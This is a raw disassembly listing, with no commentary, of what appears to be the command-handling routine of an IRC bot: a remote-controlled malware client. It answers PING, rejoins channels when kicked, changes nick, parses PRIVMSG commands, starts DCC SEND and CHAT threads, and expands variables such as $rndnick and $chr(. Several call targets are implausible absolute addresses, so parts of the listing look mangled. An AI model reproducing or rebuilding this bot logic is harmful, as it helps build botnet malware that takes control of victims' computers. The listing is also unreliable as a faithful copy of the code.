var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h var_4C8 = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h var_338 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch var_308 = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = byte ptr -2C4h var_C4 = byte ptr -0C4h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h arg_24 = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call sub_41BB20 push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi lea eax, [ebp+var_2C4] push ebx push eax mov [ebp+var_AC], 3 mov [ebp+var_10], ebx mov [ebp+var_A4], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C8], ebx call sub_41B590 push 1Bh lea eax, [ebp+var_338] push [ebp+arg_10] push eax call sub_41B5F0 add esp, 18h cmp [ebp+arg_0], ebx jz loc_401E94 push esi lea eax, [ebp+var_4488] push ebx push eax call sub_41B590 dec esi lea eax, [ebp+var_4488] push esi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push offset asc_42CA30 ; " :" push eax call sub_41B900 mov [ebp+var_C], eax lea eax, [ebp+var_4488] push esi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 mov esi, offset asc_42CA2C ; " " lea eax, [ebp+var_4AF0] push esi push eax call sub_41C0F4 add esp, 34h mov [ebp+var_90], eax lea edi, [ebp+var_8C] mov [ebp+var_A8], 1Fh loc_401BA0: ; CODE XREF: sub_401ACD+E7j push esi push ebx call sub_41C0F4 mov [edi], eax pop ecx add edi, 4 dec [ebp+var_A8] pop ecx jnz short loc_401BA0 mov esi, [ebp+var_90] cmp esi, ebx jz loc_401E94 cmp [ebp+var_8C], ebx jz loc_401E94 push 100h lea eax, [ebp+var_960] push ebx push eax call sub_41B590 add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401BEE: ; CODE XREF: sub_401ACD+153j mov eax, [ecx] cmp eax, ebx jz short loc_401C1A cmp byte ptr [eax], 2Dh jnz short loc_401C22 cmp [eax+2], bl jnz short loc_401C22 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401C1A: ; CODE XREF: sub_401ACD+125j dec edx sub ecx, 4 cmp edx, ebx jge short loc_401BEE loc_401C22: ; CODE XREF: sub_401ACD+12Aj ; sub_401ACD+12Fj cmp [ebp+var_8ED], bl jz short loc_401C2D mov [ebp+var_8], edi loc_401C2D: ; CODE XREF: sub_401ACD+15Bj cmp [ebp+var_8F2], bl jz short loc_401C3B mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401C3B: ; CODE XREF: sub_401ACD+166j cmp byte ptr [esi], 0Ah jz short loc_401C75 push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [esi+1] push 17h push eax lea eax, [ebp+var_C4] push eax call sub_41B5F0 lea eax, [ebp+var_C4] push offset asc_42CA28 ; "!" push eax call sub_41C0F4 add esp, 20h loc_401C75: ; CODE XREF: sub_401ACD+171j push esi push offset aPing ; "PING" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401CC6 push [ebp+var_8C] mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] call sub_409A2C mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401D6A push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 10h jmp loc_401D6A ; --------------------------------------------------------------------------- loc_401CC6: ; CODE XREF: sub_401ACD+1B7j mov esi, [ebp+var_8C] push esi push offset a001 ; "001" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a005 ; "005" call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4099E0 push esi push offset a302 ; "302" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D2E push offset a@ ; "@" push [ebp+var_84] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_401D6A inc eax push 9Fh push eax push [ebp+arg_1C] call sub_41B5F0 jmp short loc_401D67 ; --------------------------------------------------------------------------- loc_401D2E: ; CODE XREF: sub_401ACD+238j push esi push offset a433 ; "433" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401D71 push ebx push dword_4290A0 push dword_42909C push [ebp+arg_10] call sub_40B08D add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_409A2C loc_401D67: ; CODE XREF: sub_401ACD+25Fj add esp, 0Ch loc_401D6A: ; CODE XREF: sub_401ACD+1D8j ; sub_401ACD+1F4j ... mov eax, edi jmp loc_401E97 ; --------------------------------------------------------------------------- loc_401D71: ; CODE XREF: sub_401ACD+270j mov esi, [ebp+arg_18] mov [ebp+var_A8], 3 mov edi, 80h loc_401D83: ; CODE XREF: sub_401ACD+2DBj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401DA0 mov [ebp+var_A4], 1 loc_401DA0: ; CODE XREF: sub_401ACD+2C7j add esi, edi dec [ebp+var_A8] jnz short loc_401D83 mov esi, [ebp+var_8C] push esi push offset aKick ; "KICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401E9C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_401DCF: ; CODE XREF: sub_401ACD+392j cmp [esi], bl jz loc_401E5A push 7Fh lea eax, [ebp+var_E00] push esi push eax call sub_41B5F0 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_401E5A cmp [ebp+var_84], ebx jz short loc_401E5A push [ebp+var_84] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E5A lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_2C4] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_409A2C lea eax, [ebp+var_2C4] push eax call sub_4151AC add esp, 14h loc_401E5A: ; CODE XREF: sub_401ACD+304j ; sub_401ACD+324j ... add esi, edi dec [ebp+arg_24] jnz loc_401DCF push [ebp+var_84] push [ebp+arg_10] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401E94 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_401E89: ; CODE XREF: sub_401ACD+612j ; sub_401ACD+8D5j ... push [ebp+arg_4] call sub_409A2C loc_401E91: ; CODE XREF: sub_401ACD+253Bj ; sub_401ACD+2558j ... add esp, 10h loc_401E94: ; CODE XREF: sub_401ACD+5Bj ; sub_401ACD+F1j ... push 1 loc_401E96: ; CODE XREF: sub_401ACD+2A61j pop eax loc_401E97: ; CODE XREF: sub_401ACD+29Fj ; sub_401ACD+2A83j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_401E9C: ; CODE XREF: sub_401ACD+2F2j push esi push offset aNick ; "NICK" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_401FF2 mov eax, [ebp+var_88] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_401EC5: ; CODE XREF: sub_401ACD+44Aj lea eax, [ebp+var_E00] push eax push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F12 lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_401F12 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_41BEB0 push [ebp+arg_1C] push edi call sub_41BEC0 add esp, 10h mov edi, 80h loc_401F12: ; CODE XREF: sub_401ACD+409j ; sub_401ACD+420j add esi, edi dec [ebp+arg_0] jnz short loc_401EC5 lea eax, [ebp+var_C4] test eax, eax jz loc_401E94 cmp [ebp+arg_24], ebx jz loc_401E94 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_401F5A push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_41B5F0 loc_401F52: ; CODE XREF: sub_401ACD+1C35j add esp, 0Ch jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F5A: ; CODE XREF: sub_401ACD+476j mov edi, [ebp+arg_18] xor esi, esi loc_401F5F: ; CODE XREF: sub_401ACD+4B3j cmp [edi], bl jz short loc_401F76 lea eax, [ebp+var_E00] push eax push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_401F87 loc_401F76: ; CODE XREF: sub_401ACD+494j inc esi add edi, 80h cmp esi, 3 jl short loc_401F5F jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401F87: ; CODE XREF: sub_401ACD+4A7j lea eax, [ebp+var_E00] push 21h push eax call sub_41BFB0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_401E94 push eax call sub_41AFE0 push [ebp+arg_24] mov edi, eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_401E94 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS ; ":%s%s" push esi call sub_41B886 push ebx lea eax, [ebp+var_45EC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_409A72 add esp, 24h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_401FF2: ; CODE XREF: sub_401ACD+3DEj push esi push offset aPart ; "PART" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402014 push esi push offset aQuit ; "QUIT" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40203B loc_402014: ; CODE XREF: sub_401ACD+534j mov edi, [ebp+arg_18] xor esi, esi loc_402019: ; CODE XREF: sub_401ACD+56Cj cmp [edi], bl jz short loc_40202F push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402083 loc_40202F: ; CODE XREF: sub_401ACD+54Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402019 loc_40203B: ; CODE XREF: sub_401ACD+545j push [ebp+var_8C] push offset a353 ; "353" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_4020E4 push [ebp+var_80] push [ebp+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_40206F mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40206F: ; CODE XREF: sub_401ACD+597j push [ebp+var_80] push offset unk_42C968 loc_402077: ; CODE XREF: sub_401ACD+28CCj ; sub_401ACD+2C4Cj ... call sub_415220 loc_40207C: ; CODE XREF: sub_401ACD+1BE1j pop ecx loc_40207D: ; CODE XREF: sub_401ACD+7B6Fj pop ecx jmp loc_401E94 ; --------------------------------------------------------------------------- loc_402083: ; CODE XREF: sub_401ACD+560j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C944 push eax call sub_41B886 lea eax, [ebp+var_2C4] push eax call sub_4151AC push [ebp+var_8C] push offset aPart ; "PART" call sub_41C070 add esp, 18h test eax, eax jnz loc_401E94 lea eax, [ebp+var_2C4] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4020E4: ; CODE XREF: sub_401ACD+582j push [ebp+var_8C] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_41C070 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402138 push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 cmp dword_429088, ebx jz loc_409854 loc_402138: ; CODE XREF: sub_401ACD+631j ; sub_401ACD+643j push [ebp+var_8C] push esi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4022BE mov eax, [ebp+var_84] inc [ebp+var_80] push 4 mov [ebp+var_88], eax pop esi mov [ebp+var_AC], esi loc_40217C: ; CODE XREF: sub_401ACD+8ADj ; sub_401ACD+8E9j ... shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax push offset dword_42C928 mov [ebp+arg_8], eax call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_402557 push [ebp+esi+var_8C] push offset aSend_0 ; "SEND" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40241E cmp [ebp+var_A4], ebx jz loc_4023F7 push [ebp+esi+var_88] mov edi, offset aS_1 ; "%s" lea eax, [ebp+var_1B80] push edi push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+var_84] push edi push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_1A7C] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+var_2C4] push offset unk_42C8EC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Ah push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset loc_4161BC push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz loc_4023E6 loc_4022A8: ; CODE XREF: sub_401ACD+7EFj cmp [ebp+var_19EC], ebx jnz loc_4083BC push 32h nop call near ptr 26705B3h jmp short loc_4022A8 ; --------------------------------------------------------------------------- loc_4022BE: ; CODE XREF: sub_401ACD+67Bj ; sub_401ACD+691j push [ebp+var_8C] push edi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_4022D7 mov [ebp+var_4], 1 loc_4022D7: ; CODE XREF: sub_401ACD+801j cmp [ebp+var_88], ebx jz loc_401E94 push offset dword_42C8E8 push [ebp+var_88] call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_4022FE cmp [ebp+var_4], ebx jz short loc_40230A loc_4022FE: ; CODE XREF: sub_401ACD+82Aj lea eax, [ebp+var_C4] mov [ebp+var_88], eax loc_40230A: ; CODE XREF: sub_401ACD+82Fj cmp [ebp+var_84], ebx jz loc_401E94 inc [ebp+var_84] jz short loc_402356 cmp [ebp+arg_10], ebx jz short loc_402356 lea eax, [ebp+var_338] push eax call sub_41AFE0 push eax lea eax, [ebp+var_338] push [ebp+var_84] push eax call sub_41BE70 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40235C ; --------------------------------------------------------------------------- loc_402356: ; CODE XREF: sub_401ACD+84Fj ; sub_401ACD+854j mov esi, [ebp+var_AC] loc_40235C: ; CODE XREF: sub_401ACD+887j mov edi, [ebp+esi*4+var_90] cmp edi, ebx jz loc_401E94 push edi push offset dword_42C8DC call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz short loc_4023A7 mov eax, dword_4CAE28 mov eax, off_429164[eax*4] cmp [eax], bl jz short loc_4023A7 push eax push ecx push offset dword_42C8C0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023A7: ; CODE XREF: sub_401ACD+8BCj ; sub_401ACD+8CCj push edi push offset dword_42C8B8 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40217C mov eax, [ebp+esi*4+var_8C] cmp eax, ebx jz loc_40217C mov ecx, [ebp+var_88] cmp byte ptr [ecx], 23h jz loc_40217C push eax push ecx push offset dword_42C8A0 jmp loc_401E89 ; --------------------------------------------------------------------------- loc_4023E6: ; CODE XREF: sub_401ACD+7D5j ; sub_401ACD+7852j nop call near ptr 2680000h push eax push offset unk_42C864 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_4023F7: ; CODE XREF: sub_401ACD+6F9j lea eax, [ebp+var_C4] push eax push [ebp+esi+var_88] push offset unk_42C820 loc_40240A: ; CODE XREF: sub_401ACD+7E29j ; sub_401ACD+7E90j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 10h jmp loc_4083BC ; --------------------------------------------------------------------------- loc_40241E: ; CODE XREF: sub_401ACD+6EDj push [ebp+esi+var_8C] push offset aChat ; "CHAT" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_40256D cmp [ebp+var_A4], ebx jz loc_402546 push 1Bh call sub_40B33E test eax, eax pop ecx jnz loc_402535 push [ebp+esi+var_84] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax call sub_41B886 push [ebp+esi+var_80] call sub_41B779 mov [ebp+var_2910], eax mov eax, [ebp+arg_4] mov [ebp+var_2AB0], eax lea eax, [ebp+var_C4] push 7Fh push eax lea eax, [ebp+var_2990] push eax call sub_41B5F0 mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_2908], eax mov eax, [ebp+var_8] mov [ebp+var_2904], eax lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_2C4] push offset unk_42C7F8 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 1Bh push eax call sub_40B0F6 add esp, 18h mov [ebp+var_290C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_2AB0] push ebx push eax push offset byte_415C59 push ebx push ebx nop call near ptr 2670659h mov ecx, [ebp+var_290C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_402524 loc_40250E: ; CODE XREF: sub_401ACD+A55j cmp [ebp+var_2900], ebx jnz loc_4083BC push 32h nop call near ptr 26705B3h jmp short loc_40250E ; --------------------------------------------------------------------------- loc_402524: ; CODE XREF: sub_401ACD+A3Fj call near ptr 2680000h nop push eax push offset unk_42C7C0 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402535: ; CODE XREF: sub_401ACD+982j lea eax, [ebp+var_C4] push eax push offset unk_42C790 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402546: ; CODE XREF: sub_401ACD+972j lea eax, [ebp+var_C4] push eax push offset unk_42C75C jmp loc_4083AD ; --------------------------------------------------------------------------- loc_402557: ; CODE XREF: sub_401ACD+6D2j mov eax, [ebp+arg_8] lea ecx, [eax+1] mov al, [eax] cmp al, byte_429094 mov [edi], ecx jnz loc_401E94 loc_40256D: ; CODE XREF: sub_401ACD+966j mov edi, [edi] mov [ebp+arg_8], edi push edi mov edi, offset aK ; "k" push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C push [ebp+arg_8] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40985C cmp [ebp+var_A4], ebx jnz short loc_4025BD push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_409854 loc_4025BD: ; CODE XREF: sub_401ACD+AD4j cmp [ebp+arg_28], ebx jnz loc_409854 xor edi, edi cmp dword_429230, ebx jle loc_402772 mov [ebp+arg_20], offset dword_43D130 loc_4025DB: ; CODE XREF: sub_401ACD+B2Dj push [ebp+arg_8] push [ebp+arg_20] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_402601 add [ebp+arg_20], 0B8h inc edi cmp edi, dword_429230 jl short loc_4025DB jmp loc_402772 ; --------------------------------------------------------------------------- loc_402601: ; CODE XREF: sub_401ACD+B1Dj push offset asc_42CA30 ; " :" push [ebp+arg_0] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz loc_401E94 mov cl, byte_429094 imul edi, 0B8h mov [eax+2], cl mov cl, byte_429094 mov [eax+3], cl lea ecx, dword_43D148[edi] push 9Fh add eax, 4 push ecx push eax call sub_41B5F0 lea eax, [ebp+esi+var_50] add esp, 0Ch mov [ebp+arg_20], 0Fh mov [ebp+arg_C], eax loc_402656: ; CODE XREF: sub_401ACD+C3Aj push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_1 ; "$%d-" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_4026C2 mov eax, [ebp+arg_C] cmp [eax], ebx jz short loc_4026C2 lea eax, dword_43D130[edi] push eax call sub_41AFE0 add [ebp+var_C], eax pop ecx jz short loc_4026FD mov eax, [ebp+arg_C] push dword ptr [eax-4] push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4026FD push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch jmp short loc_4026FD ; --------------------------------------------------------------------------- loc_4026C2: ; CODE XREF: sub_401ACD+BB1j ; sub_401ACD+BB8j mov eax, [ebp+arg_C] cmp [eax], ebx jnz short loc_4026FD lea eax, [ebp+var_A0] push 2 push eax lea eax, [ebp+var_94] push eax call sub_41B5F0 lea eax, [ebp+var_94] mov [ebp+var_92], bl push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 18h loc_4026FD: ; CODE XREF: sub_401ACD+BCAj ; sub_401ACD+BDEj ... dec [ebp+arg_20] sub [ebp+arg_C], 4 cmp [ebp+arg_20], ebx jg loc_402656 lea eax, [ebp+esi+var_50] mov [ebp+arg_20], 10h mov edi, eax loc_40271A: ; CODE XREF: sub_401ACD+C99j push [ebp+arg_20] lea eax, [ebp+var_A0] push offset aD_0 ; "$%d" push eax call sub_41B886 lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_41B900 add esp, 14h test eax, eax jz short loc_40275D mov eax, [edi] cmp eax, ebx jz short loc_40275D push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE add esp, 0Ch loc_40275D: ; CODE XREF: sub_401ACD+C75j ; sub_401ACD+C7Bj dec [ebp+arg_20] sub edi, 4 cmp [ebp+arg_20], ebx jg short loc_40271A mov [ebp+var_2C8], 1 loc_402772: ; CODE XREF: sub_401ACD+B01j ; sub_401ACD+B2Fj mov eax, [ebp+arg_8] mov al, [eax] cmp al, byte_429094 jz short loc_40278B cmp [ebp+var_2C8], ebx jz loc_40297C loc_40278B: ; CODE XREF: sub_401ACD+CB0j push [ebp+arg_10] mov edi, [ebp+arg_0] push offset aMe ; "$me" push edi call sub_417EEE lea eax, [ebp+var_C4] push eax push offset aUser_0 ; "$user" push edi call sub_417EEE push [ebp+var_88] push offset aChan ; "$chan" push edi call sub_417EEE push ebx push ebx lea eax, [ebp+var_A0] push 2 push eax call sub_40B08D push eax push offset aRndnick_0 ; "$rndnick" push edi call sub_417EEE add esp, 40h push [ebp+arg_14] push offset aServer_1 ; "$server" push edi call sub_417EEE mov edi, offset aChr ; "$chr(" push edi push [ebp+arg_0] call sub_41B900 add esp, 14h loc_4027FD: ; CODE XREF: sub_401ACD+E28j test eax, eax jz loc_4028FA push edi push [ebp+arg_0] call sub_41B900 mov [ebp+arg_10], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A0] push eax call sub_41B5F0 lea eax, [ebp+var_A0] push offset asc_42C718 ; ")" push eax call sub_41C0F4 add esp, 1Ch cmp [ebp+var_A0], 30h jl short loc_402849 cmp [ebp+var_A0], 39h jle short loc_40285F loc_402849: ; CODE XREF: sub_401ACD+D71j push 3 lea eax, [ebp+var_A0] push offset a63 ; "63" push eax call sub_41B5F0 add esp, 0Ch loc_40285F: ; CODE XREF: sub_401ACD+D7Aj lea eax, [ebp+var_A0] push eax call sub_41B779 test eax, eax pop ecx jle short loc_402885 lea eax, [ebp+var_A0] push eax call sub_41B779 pop ecx mov [ebp+var_94], al jmp short loc_402899 ; --------------------------------------------------------------------------- loc_402885: ; CODE XREF: sub_401ACD+DA1j call sub_41B8E2 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_94], dl loc_402899: ; CODE XREF: sub_401ACD+DB6j lea eax, [ebp+var_A0] mov [ebp+var_93], bl push eax call sub_41AFE0 mov [ebp+arg_20], eax push 0Ch lea eax, [ebp+var_A0] push ebx push eax call sub_41B590 mov eax, [ebp+arg_20] add eax, 6 push eax lea eax, [ebp+var_A0] push [ebp+arg_10] push eax call sub_41B5F0 lea eax, [ebp+var_94] push eax lea eax, [ebp+var_A0] push eax push [ebp+arg_0] call sub_417EEE push edi push [ebp+arg_0] call sub_41B900 add esp, 30h jmp loc_4027FD ; --------------------------------------------------------------------------- loc_4028FA: ; CODE XREF: sub_401ACD+D32j mov edi, 1FFh lea eax, [ebp+var_4488] push edi push [ebp+arg_0] push eax call sub_41B5F0 lea eax, [ebp+var_4488] push edi push eax lea eax, [ebp+var_4AF0] push eax call sub_41B5F0 lea eax, [ebp+var_4AF0] push 